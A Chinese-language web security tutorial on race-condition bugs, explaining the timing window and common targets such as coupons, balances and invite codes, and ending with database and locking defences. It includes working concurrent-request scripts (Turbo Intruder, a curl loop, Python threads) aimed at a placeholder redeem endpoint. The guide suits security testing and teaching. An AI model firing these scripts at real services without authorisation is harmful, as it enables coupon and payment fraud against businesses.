跳转至

并发漏洞挖掘

并发漏洞(Race Condition)指的是多个请求同时到达服务端时,由于缺少锁或事务控制,导致同一个操作被重复执行。常见场景:一张优惠券领多次、一次余额扣款扣了负数、一个邀请码注册了多个账号。


核心原理

正常流程(串行):

请求1: 查余额(100) → 扣款(100) → 余额=0
请求2: 查余额(0)   → 余额不足 → 拒绝

并发攻击时(两个请求几乎同时到达):

请求1: 查余额(100) →              → 扣款(100) → 余额=0
请求2:              → 查余额(100)  → 扣款(100) → 余额=-100  ← 超额扣款

关键在于:两个请求在"查"和"扣"之间存在时间窗口,这个窗口就是竞争条件。


常见漏洞场景

场景 正常行为 并发后果
优惠券领取 每人限领 1 张 同一用户领到多张
余额支付 扣到 0 停止 余额变为负数
积分兑换 一份积分换一个奖品 同份积分换了多个奖品
投票/点赞 每人限一次 一个人投了多票
邀请码注册 一码一人 一个码注册了多个账号
文件上传 上传后校验再删除 校验删除前已被访问执行

测试方法

Burp Suite — Turbo Intruder

Turbo Intruder 是专门做并发测试的 Burp 插件,比 Intruder 快得多。

安装:Burp → Extender → BApp Store → 搜索 Turbo Intruder → Install

使用步骤

  1. 在 Burp 中找到目标请求,右键 → Send to Turbo Intruder
  2. 选择 race.py 模板(或用下面的脚本)
  3. 点击 Attack
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           requestsPerConnection=100,
                           pipeline=False)
    # 同时发送 20 个相同请求
    for i in range(20):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')  # 所有请求同时放出

def handleResponse(req, interesting):
    table.add(req)

关键参数:

参数 说明
concurrentConnections 并发连接数,越大并发越猛
gate 把请求攒到一起,openGate 时同时放出
pipeline HTTP 管道化,同一连接发多个请求

插件地址:https://github.com/portswigger/turbo-intruder

curl + 脚本

没有 Burp 时可以用 bash 并发:

# 同时发 20 个请求
for i in $(seq 1 20); do
  curl -s -X POST https://target.com/api/redeem \
    -H "Cookie: session=xxx" \
    -d "coupon_id=123" &
done
wait

Python 多线程

import threading
import requests

def send_request():
    r = requests.post("https://target.com/api/redeem",
                      cookies={"session": "xxx"},
                      data={"coupon_id": "123"})
    print(r.status_code, r.text[:100])

threads = [threading.Thread(target=send_request) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()

判断是否存在漏洞

发完并发请求后,检查以下内容:

  • 优惠券数量是否超过限制
  • 余额是否变为负数
  • 数据库中是否出现重复记录
  • 响应中是否有多个"成功"返回

防御方案

方案 说明
数据库锁 SELECT ... FOR UPDATE 行级锁
唯一约束 数据库层面防止重复记录
分布式锁 Redis SETNX 或 ZooKeeper
幂等设计 同一请求多次执行结果一致
令牌机制 一次性 Token,用完即废